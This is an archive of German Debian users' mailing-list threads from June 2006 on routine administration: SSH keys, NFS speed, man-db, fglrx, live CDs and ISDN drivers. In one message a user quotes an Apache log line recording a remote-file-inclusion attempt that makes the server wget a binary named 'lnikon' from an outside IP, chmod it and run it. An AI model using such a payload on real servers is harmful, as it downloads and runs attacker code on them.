ich ebenfalls den Inhalt des private key in /root/.ssh/authorized_keys 
kopiert.


Habe ich evtl. doch die Rollen der beiden Server vertauscht, oder gibt 
es da noch Debian spezifische Besonderheiten zu beachten?


Gruß

Torsten


Nachdem ich mal in /var/log/auth.log geschaut habe ist mir aufgefallen, 
dass der client, also Tango, sich am host, also samba, mit seinem FQDN 
versucht zu authentifizieren.
Jetzt habe ich auf dem host in /root/.ss/authorized_keys die Zeile 
'from=192.168.2.83' in 'from=FQDN des clienst' geändert. Siehe da. 
Keine Passwortabfrage mehr.


Gruß

Torsten


--
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Re: usbmount mounted einen partitionierten Stick nur /dev/sda

2006-06-08 Diskussionsfäden Ulrich Fürst
Andreas Juch [EMAIL PROTECTED] wrote:
 
 Unison(-gtk) ist für solche Zwecke ganz nett! Damit kannst du in beide
 Richtungen synchronisieren ohne was zu überschreiben.

Danke, hab ich schon im Einsatz. Und da läuft per Script in /etc/
usbmount/mount.d/ eine Syncronisation. Allerdings frägt die
mittlerweile eine bestimmte Datei (mit bestimmten Inhalt) ab. Nur wenn
die auf dem Stick ist, wird synchronisiert. 
Dadurch kann ich dann auch fremdsticks einstecken, ohne dass gleich das
große kopieren losgeht :-)

Ulrich



Re: Performance-Problem mit GBit-Netzwerkverbindung

2006-06-08 Diskussionsfäden Richard Mittendorfer
Also sprach Gordon Grubert [EMAIL PROTECTED] (Thu, 08
Jun 2006 15:56:38 +0200):
 Hi Richard,

Hoi,
 
 Problematischer Debian-Client (baugleich zum Suse-Client):
 - Linux DEBIAN-CLIENT 2.6.15.1
 - Yukon Gigabit Ethernet mit Standard-Treibern (Debian Sarge AMD64)
  
  Probiere mal den Ubuntu Kern, vergleiche aber vorher die .config
  damit dir nichts fehlt. Besser noch scheint mir einen Neueren
  versuchen - selberbauen oder irgendwoher backporten, ..
 da bin ich ehrlich gesagt ein wenig skeptisch. Der verwendete Kernel
 ist schon vor kurzem selber gebaut und seit dem geht leider der
 originale Kernel nicht mehr. Aber dies macht leider keinen Unterschied
 zu einem Original-Debian-Kernel.

? Diesen Absatz verstehe ich nicht so recht. 

Dein Kern ist selbstgebaut? Der einzige Grund der mir in den Sinn
kommt damit dann der Originale/Alte nicht mehr funktionieren sollte ist,
dass er die selbe Bezeichnung bekommen hat und die Module unter
/lib/modules und Kernel + Files unter /boot ueberschrieben wurden.

Wenn du die Sourcen aus Debian verwendest, verwendest du im Prizip den
gleichen Kernel.

Hol dir 2.6.16.20 von kernl.org, konfiguriere ihn fuer die Box, baue ihn
mit make-kpkg --revision=bla.001 kernel_image und installier' ihn mit
dpkg -i ../linux-image-...

 Zeigt nfsstat was Auffaelliges?(mag ich eigentlich schon
 ausschliessen)
 
 Server rpc stats:
 calls  badcalls   badauthbadclntxdrcall
 228965 2  2  0  0
  
  Normal. Falls das Problem aber am NFS liegt, waeren die v3
  Statistiken interessant.
 Hier die Infos:
 
 Server nfs v3:
 null   getattrsetattrlookup access readlink
 64  0% 47926  20% 94  0% 20040% 15910% 250 0%
 read   write  create mkdir  symlinkmknod
 175551 76% 16330% 203 0% 0   0% 0   0% 0   0%
 remove rmdir  rename link   readdirreaddirplus
 115 0% 0   0% 139 0% 50  0% 1   0% 206 0%
 fsstat fsinfo pathconf   commit
 336 0% 47  0% 0   0% 42  0%

Ok.

  Ein merkwuerdiges Symptom. Mir will ausser den
  Gigabit-Treibern/Kernel kein Uebeltaeter einfallen.
 Am Server oder am Client? Ich koennt ja mal zusehen, dass ich
 aktuellere Treiber fuer meinen Client verwende. Leider habe ich bei
 meinem Debian- System und auch beim Suse keine Version fuer den
 Yukon-Treiber gefunden.

Am Klienten. Nachdem andere Klienten ja mit dem Server koennen, ...
  
  ethtool zeigt deine Karte ja richtig an, setze die Karte dennoch mal
  exziplit auf die verwendete Uebertragungsart (u. autoneg off) und
  schalte das HW-checksumming testweise ab.
 ethtool -s eth0 speed 100 duplex full autoneg off
 fuehrte dazu, dass praktisch gar nichts mehr geht. Das HW-checksumming
 lies sich nicht abschalten.

Hmm.
 
  Vergleiche dmesg/proc der identischen Debian und Suse Rechner nach
  Auffaelligem (andere Interrupts, acpi..)
 Dies werde ich noch tun.
 
 Vielen Dank und schoene Gruesse
 Gordon

sl ritch


-- 
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Re: Tastatur tot

2006-06-08 Diskussionsfäden Christoph Conrad
Hallo Andreas,

 Wenn dem so ist, sind einfach nur die Acessibility-Features aktiviert.

Gute Idee, Danke! Die sind aber alle abgeschaltet. Trotzdem probiere ich
es beim nächsten Mal aus, denn vielleicht ist es ein Bug.

Freundliche Grüße,
Christoph


-- 
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Re: mailforward übe r mehrere Server (international)

2006-06-08 Diskussionsfäden Christian Schmidt
Hallo Michelle,

Michelle Konzack, 02.06.2006 (d.m.y):

 Wenn ihr bessere ideen habt, laßt es mich wissen, aber KEINE Killer-
 Configs mit postfix, exim oder sendmailbei welchen ich keine
 Übersicht habe.

So eine Monster-maildrop-Konfiguration wuerde _ich_ ja eher als
Killer-Config bezeichnen.

Stattdessen wuerde ich da einen SMTP-Server hinstellen, der auch
Forwardings beherrscht und mir einen einfachen Mechanismus einfallen
lassen, die /etc/aliases zu generieren.

Ich habe Dein Domain-Schema da nicht so ganz vor Augen, aber wenn Du
die zentrale Maschine als MX fuer domain.tld deklarieren kannst, waere
es mit exim nicht weiter kompliziert, die Mails nach sud.domain.tld an
die fuer sub zustaendige Maschine weiterzuverteilen.

Eine derartoge exim-Konfiguration haette IMO weitaus weniger
Killer-Faktor als Dein Vorhaben mit einer gigantischen
Maildrop-Konfiguration.

Gruss,
Christian Schmidt

-- 
Steht im Winter noch das Korn, ist es wohl vergessen wor'n.


signature.asc
Description: Digital signature


Re: Debian - Live CD

2006-06-08 Diskussionsfäden Dirk Finkeldey

Jan Dinger schrieb:


Hallo,
gibt von meinem Debian (installiert, konfiguriert mit Treiber etc.) 
eine Live CD zu erstellen? Habe dazu keine passende Software gefunden. 


Leß dir mal in Ruhe die Liste der verfügbaren Pakete durch, da wirst du 
fündig.


Oder hast du nicht alle DVDs / CDs einlesen laßen ?

wenn doch hilft aptitude.




Grund ist, das ich keine Rollback-Software nutzen möchte.

mfg

Jan


Mit freundlichen Grüßen Dirk Finkedley



Re: fglrx 8.25 und xorg7

2006-06-08 Diskussionsfäden Tobias Krais

Hi Daniel,


-%-
[EMAIL PROTECTED]:~$ fglrxinfo
display: :0.0  screen: 0
OpenGL vendor string: Mesa project: www.mesa3d.org
OpenGL renderer string: Mesa GLX Indirect
OpenGL version string: 1.2 (1.5 Mesa 6.4.1)
-%-



Und jetzt das selbe Kommando noch einmal mit LIBGL_DEBUG=verbose.


Hab jetzt gerade keine Zeit. Deshalb nur der Output:
%-
[EMAIL PROTECTED]:~$ LIBGL_DEBUG=verbose fglrxinfo
libGL: XF86DRIGetClientDriverName: 8.25.18 fglrx (screen 0)
libGL: OpenDriver: trying /usr/X11R6/lib/modules/dri/fglrx_dri.so
libGL error: dlopen /usr/X11R6/lib/modules/dri/fglrx_dri.so failed 
(/usr/X11R6/lib/modules/dri/fglrx_dri.so: cannot open shared object 
file: No such file or directory)

libGL error: unable to find driver: fglrx_dri.so
libGL: XF86DRIGetClientDriverName: 8.25.18 fglrx (screen 0)
libGL: OpenDriver: trying /usr/X11R6/lib/modules/dri/fglrx_dri.so
libGL error: dlopen /usr/X11R6/lib/modules/dri/fglrx_dri.so failed 
(/usr/X11R6/lib/modules/dri/fglrx_dri.so: cannot open shared object 
file: No such file or directory)

libGL error: unable to find driver: fglrx_dri.so
display: :0.0  screen: 0
OpenGL vendor string: Mesa project: www.mesa3d.org
OpenGL renderer string: Mesa GLX Indirect
OpenGL version string: 1.2 (1.5 Mesa 6.4.1)
-%-

Ich glaube da läßt sich was lösen...

Grüßle, Tobi


--
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Re: [Postingstatistik] Mai 2006

2006-06-08 Diskussionsfäden Andreas Juch
Christian Frommeyer wrote:

 Am Mittwoch 07 Juni 2006 18:59 schrieb Robert Giebel:
  Da muss eher noch mehr rein, ich tauch ja nirgends auf! ;)
 
 Das hilft Dir zwar nicht... aber vielleicht Poster mit dem meisten 
 TOFU/HTML... ;)

Dafür sollte das Programm fullquottel recht nützlich sein!

lg

-- 
Andreas Juch, [EMAIL PROTECTED], http://andreasjuch.mywol.org
GPG Key: http://andreasjuch.mywol.org/pgpkey.asc


signature.asc
Description: PGP signature


Re: mandb - nervige Logs nach Update

2006-06-08 Diskussionsfäden Evgeni Golov
On Thu, 8 Jun 2006 13:11:43 +0200 Richard Mittendorfer [EMAIL PROTECTED]
wrote:

 Benenne /var/cache/man mal nach man.bkup um und fuehre das man-db
 script in /etc/cron.daily per Hand aus. 
 
 # /etc/cron.daily/man-db
 
 Funktioniert danach alles, loesche das Verz. man.bkup.

Und wenn es weiterhin nicht funktioniert? Das tut es nämlich hier :(

-- 
   ^^^| Evgeni -SargentD- Golov ([EMAIL PROTECTED])
 d(O_o)b  | PGP-Key-ID: 0xAC15B50C
  -|-   | WWW: http://www.die-welt.net   ICQ: 54116744
   / \| IRC: #sod @ irc.german-freakz.net

We have joy, we have fun, ... we have Linux on our Sun ... *träller*
(cehteh - IRCNet)



Re: mandb - nervige Logs nach Update

2006-06-08 Diskussionsfäden Richard Mittendorfer
Also sprach Evgeni Golov [EMAIL PROTECTED] (Thu, 8 Jun 2006
18:42:30 +0200):
 On Thu, 8 Jun 2006 13:11:43 +0200 Richard Mittendorfer
 [EMAIL PROTECTED] wrote:
 
  Benenne /var/cache/man mal nach man.bkup um und fuehre das man-db
  script in /etc/cron.daily per Hand aus. 
  
  # /etc/cron.daily/man-db
  
  Funktioniert danach alles, loesche das Verz. man.bkup.
 
 Und wenn es weiterhin nicht funktioniert? Das tut es nämlich hier :(

Die Fehlermeldung? 

manpages(-dev u. locales u. evtl. mandb) purgen und wieder
installieren sollte jedenfalls einen validen Stand hinterlassen...

sl ritch



motd

2006-06-08 Diskussionsfäden Kai Weber
Hallo,

ich habe folgendes konfiguriert:

$ grep MOTD /etc/default/rcS
# Set EDITMOTD to no if you don't want /etc/motd to be editted automatically
EDITMOTD=no

Trotzdem wird meine /etc/motd jedesmal geändert.

1) Bugreport wohin?
2) Wie verhindere ich das Bearbeiten der MOTD?

Kai
-- 
* http://www.glorybox.de/
  PGP 1024D/594D4132 B693 5073 013F 7F56 5DCC  D9C2 E6B5 448C 594D 4132



Re: Debian - Live CD

2006-06-08 Diskussionsfäden Wolf Wiegand
Hallo,

Dirk Finkeldey wrote:

 Jan Dinger schrieb:
 
 gibt von meinem Debian (installiert, konfiguriert mit Treiber etc.) 
 eine Live CD zu erstellen? Habe dazu keine passende Software gefunden.

Die Beschreibung des Pakets bootcd klingt so, als ob das damit möglich
wäre.

 Leß dir mal in Ruhe die Liste der verfügbaren Pakete durch, da wirst du 
 fündig.

Das nenn ich mal einen super Vorschlag...

$ apt-cache search . | wc -l
15766

Wolf

Nhßreqrz urvßg rf 'Yvrf'
-- 
[Gotteslästerung] Aber ich verstehe die ganze Aufregung um diese Zeichnungen, 
SouthPark, Simpsons oder Pabstverulkung im Karneval sowie so nicht. [...] Wenn 
es aber ein höheres Wesen gibt, überlassen wir doch ihm die Beurteilung. 
(Thomas Wallutis in d.a.s.r.)


-- 
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Re: Programm fü r Buchhandel

2006-06-08 Diskussionsfäden Toens Bueker
Klaus Becker [EMAIL PROTECTED] meinte:

 ich suche für eine kleine Buchhandlung ein Programm, mit dem man 
 Bestellungen, 
 Preise, Rechnungen usw verwalten kann.
 
 Falls jemand so etwas kennt...

http://www.linux-magazin.de/Artikel/ausgabe/2000/02/Naacher/naacher.html

Tschö
Töns
-- 
There is no safe distance.



Re: Debian - Live CD

2006-06-08 Diskussionsfäden Kai Herlemann

Jan Dinger schrieb:

Hallo,
gibt von meinem Debian (installiert, konfiguriert mit Treiber etc.) 
eine Live CD zu erstellen? Habe dazu keine passende Software gefunden.

http://www.linux-live.org/

Grund ist, das ich keine Rollback-Software nutzen möchte.

Oder möchtest du sowas nicht?

Gruß
Kai

--
Kai Herlemann
Albringhausen 60
27211 Bassum

eMail: [EMAIL PROTECTED]
Fax: 04241-921507

Mobil: 0162-1848562


--
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Dateien retten

2006-06-08 Diskussionsfäden Ralph Bergmann

Hallo!


Gibt es eigentlich ein Tool, welches ohne große Fragen zu stellen 
einfach mal von Anfang bis Ende über die Festplatte schrubt und alle 
gefundenen Dateien in ein angegebenes Verzeichnis kopiert?



Ich hab nun schon ein paar Tools probiert aber irgendwie wollen sie alle 
nicht das, was ich will. Idealerweise kümmert sich dies Tool nicht um 
eventuell vorhandene oder auch nicht vorhandene oder gar defekte 
Partitionen. Einfach von Anfang bis Ende alles wegkopieren. Das wäre ein 
Traum.




Danke! Ralph


--
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Re: Programm für Buchhandel

2006-06-08 Diskussionsfäden niels jende
Hi Toens,

Toens Bueker schrieb:
 Klaus Becker [EMAIL PROTECTED] meinte:

   
 http://www.linux-magazin.de/Artikel/ausgabe/2000/02/Naacher/naacher.html

   

in diese Richtung dachte ich auch schon, bis der Einwand des OP kam,
dass er ja in Frankreich lebt und dort auch die Buchhandlung ist. Darum
sagte ich ja schon zuvor, dass er sich wohl in F umsehen oder sich was
eigenes basteln muss. Die Steuersätze sind unterschiedlich und auch die
Berichtszeiträume und so vieles mehr. Eine auf Deutsche Anforderungen
zugeschnittene Software wird ihm also nicht helfen.

 Tschö
 Töns
   
Tschüss
Niels

-- 
## Registered Linux User #415834 -- http://counter.li.org/
## Debian Etch Kernel 2.6.15
## Windows, Linux und Mac Office-Suite -- http://de.openoffice.org/
## Die OpenOffice.org PrOOo-Box -- http://prooo-box.org/




-- 
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Re: apache2 rewrite port

2006-06-08 Diskussionsfäden Ulf Volmer
On Thu, Jun 08, 2006 at 04:55:57PM +0200, Dirk Salva wrote:
 On Thu, Jun 08, 2006 at 11:24:49AM +0200, Ulf Volmer wrote:
  Die 'kleine' Lösung für dein Problem könnte sein, dem httpd ein cgi zu
  verpassen, mit dem du manuell zwischen ssh/https- Betrieb umschaltest.
 
 Wie müßte ich mir das vorstellen? Ein cgi-script, welches den
 http-daemon ohne ssl-support restartet und dafür mit lauschendem
 beispielsweise sshd auf 443 diesen entsprechenden Dienst (hier also
 sshd) restartet? Könnte klappen, klingt allerdings scriptmäßig äußerst
 umständlich, weil das cgi-Script ja im Prinzip jedesmal
 /usr/sbin/lighty-disable-mod aufrufen müßte, an dieses Programm disable
 ssl übergeben müßte, dann den httpd restarten müßte, dann die
 sshd-config umschreibt und den sshd restartet. Dann könnte ich mich per
 ssh anmelden und das ganze u.U. mit einem Shell-script wieder
 rückgängig machen.
 
 Machbar sicherlich, klingt aber für mich kompliziert, außerdem stellt
 sich mir die Frage, ob das so überhaupt geht und ob man das nicht
 einfacher haben könnte.

Ich kenne lighty nicht, hier genügt:

sudo /etc/init.d/apache-ssl stop
sudo /usr/sbin/sshd -p 443

cu
ulf

-- 
Ulf Volmer
[EMAIL PROTECTED]
www.u-v.de


-- 
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Re: Programm für Buchhandel

2006-06-08 Diskussionsfäden Klaus Becker
Am Donnerstag 08 Juni 2006 21:08 schrieb niels jende:
 Hi Toens,

 Toens Bueker schrieb:
  Klaus Becker [EMAIL PROTECTED] meinte:
 
 
  http://www.linux-magazin.de/Artikel/ausgabe/2000/02/Naacher/naacher.html

 in diese Richtung dachte ich auch schon, bis der Einwand des OP kam,
 dass er ja in Frankreich lebt und dort auch die Buchhandlung ist. Darum
 sagte ich ja schon zuvor, dass er sich wohl in F umsehen oder sich was
 eigenes basteln muss. Die Steuersätze sind unterschiedlich und auch die
 Berichtszeiträume und so vieles mehr. Eine auf Deutsche Anforderungen
 zugeschnittene Software wird ihm also nicht helfen.

das hatte ich schon gefunden, hilft mir aber nicht weiter. Ich werd' mal auf 
der französ. Liste nachfragen

danke für die Antworten

Klaus



Re: lnikon

2006-06-08 Diskussionsfäden Klaus Wieland

Hallo,

ist schon ein bissel her, dennoch ...

in den Kontext passt, dass in meinem Apache Log solche Einträge zu 
finden sind:


66.229.32.56 - - [08/Jun/2006:12:33:18 +0200] GET 
/index2.php?option=com_contentdo_pdf=1id=1index2.

php?_REQUEST[option]=com_content_REQUEST[Itemid]=1GLOBALS=mosConfig_absolute_path=http://72.18.195.
161/cmd.gif?cmd=cd%20/tmp;wget%2072.18.195.161/lnikon;chmod%20744%20lnikon;./lnikon;echo%20YYY;echo|
 HTTP/1.1 404 285 - Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 
5.1;) -


Das sieht nicht freundlich aus ...

Gruß Klaus


--
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Re: Dateien retten

2006-06-08 Diskussionsfäden Andreas Pakulat
On 08.06.06 20:59:40, Ralph Bergmann wrote:
 Gibt es eigentlich ein Tool, welches ohne große Fragen zu stellen einfach mal 
 von Anfang bis Ende über die Festplatte schrubt und alle gefundenen Dateien 
 in 
 ein angegebenes Verzeichnis kopiert?
 
 
 Ich hab nun schon ein paar Tools probiert aber irgendwie wollen sie alle 
 nicht 
 das, was ich will. Idealerweise kümmert sich dies Tool nicht um eventuell 
 vorhandene oder auch nicht vorhandene oder gar defekte Partitionen. Einfach 
 von 
 Anfang bis Ende alles wegkopieren. Das wäre ein Traum.

Wenn das Dateisystem kaputt ist, kann kein Tool einfach so die Daten
lesen und bestimmten Dateien zuordnen. Denn fuer jedes Tool das die
Daten von der Platte liest sind diese zunaechst einfach nur Bytefolgen,
es kann nicht entscheiden ob 2 Bytefolgen zueinander gehoeren. Bei
kleinen Dateien die nur 1 Block belegt haben kann man das relativ leicht
hinkriegen indem man etwas wie file benutzt um herauszubekommen was fuer
ein Dateityp der Inhalt des Blocks sein koennte. Aber wenn eine Datei
aus mehreren Bloecken besteht ist das schwierig bis unmoeglich (bei
Textdateien koennte ein Mensch das noch hinkriegen).

Andreas

-- 
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Workaround: Tastatur tot

2006-06-08 Diskussionsfäden Christoph Conrad
Ich habe nun einen Workaround.

Auf dem Desktop eine ausführbare Datei mit dem Inhalt

kwin --replace --nograb 

abgelegt. Die Tastatur war gerade wieder tot, die Maus geht ja noch.
Nach Doppelklick lebt die Tastatur wieder. Leider funktionieren meine
Tastaturshortcuts für Wechsel zwischen den Arbeitsflächen nicht mehr,
Ctrl + Cursortasten.

Wo kann ich dem Windowmanager beim erstmaligen Start das
Argument --nograb mitgeben?

Freundliche Grüße,
Christoph


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[SOLVED] Re: fglrx 8.25 und xorg7

2006-06-08 Diskussionsfäden Tobias Krais

Hi Daniel,

[...]


Hab jetzt gerade keine Zeit. Deshalb nur der Output:
%-
[EMAIL PROTECTED]:~$ LIBGL_DEBUG=verbose fglrxinfo
libGL: XF86DRIGetClientDriverName: 8.25.18 fglrx (screen 0)
libGL: OpenDriver: trying /usr/X11R6/lib/modules/dri/fglrx_dri.so
libGL error: dlopen /usr/X11R6/lib/modules/dri/fglrx_dri.so failed 
(/usr/X11R6/lib/modules/dri/fglrx_dri.so: cannot open shared object 
file: No such file or directory)

libGL error: unable to find driver: fglrx_dri.so
libGL: XF86DRIGetClientDriverName: 8.25.18 fglrx (screen 0)
libGL: OpenDriver: trying /usr/X11R6/lib/modules/dri/fglrx_dri.so
libGL error: dlopen /usr/X11R6/lib/modules/dri/fglrx_dri.so failed 
(/usr/X11R6/lib/modules/dri/fglrx_dri.so: cannot open shared object 
file: No such file or directory)

libGL error: unable to find driver: fglrx_dri.so
display: :0.0  screen: 0
OpenGL vendor string: Mesa project: www.mesa3d.org
OpenGL renderer string: Mesa GLX Indirect
OpenGL version string: 1.2 (1.5 Mesa 6.4.1)
-%-


ln -s /usr/lib/dri/fglrx_dri.so /usr/X11R6/lib/modules/dri/
hat mein Problem gelöst. Danke für deinen entscheidenden Hinweis!

Grüßle, Tobias


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Fritz!Card PCI, fcpci.ko kompilieren

2006-06-08 Diskussionsfäden Stefan Scholtz

Hallo,

ich versuche gerade die Fritz!Card PCI mit dem AVM Treiber zum laufen zu 
bringen. Ich habe Debian unstable mit Kernel 2.6.16-2-486 auf einem PC 
mit Centaur WinChip 2A und 64 MB RAM installiert.

Das HOWTO von *Stefan Schilling habe ich gelesen.*

Beim kompilieren von fcpci-suse93-3.11-07.tar.gz bekommen ich dann 
folgendes zu sehen:


tomate:/usr/local/src/fritz# make
make -C src
make[1]: Entering directory `/usr/local/src/fritz/src'
make -C /lib/modules/2.6.16-2-486/build SUBDIRS=/usr/local/src/fritz/src 
modules

make[2]: Entering directory `/usr/src/linux-headers-2.6.16-2-486'
 CC [M]  /usr/local/src/fritz/src/main.o
In file included from /usr/local/src/fritz/src/queue.h:27,
from /usr/local/src/fritz/src/tables.h:31,
from /usr/local/src/fritz/src/driver.h:31,
from /usr/local/src/fritz/src/main.c:45:
/usr/local/src/fritz/src/tools.h:74: error: expected identifier or '(' 
before 'typeof'

/usr/local/src/fritz/src/tools.h:74: error: expected ')' before '__xchg'
make[3]: *** [/usr/local/src/fritz/src/main.o] Fehler 1
make[2]: *** [_module_/usr/local/src/fritz/src] Fehler 2
make[2]: Leaving directory `/usr/src/linux-headers-2.6.16-2-486'
make[1]: *** [fcpci.ko] Fehler 2
make[1]: Leaving directory `/usr/local/src/fritz/src'
make: *** [src/fcpci.ko] Fehler 2

Kann mir jemand sagen was falsch gelaufen ist?


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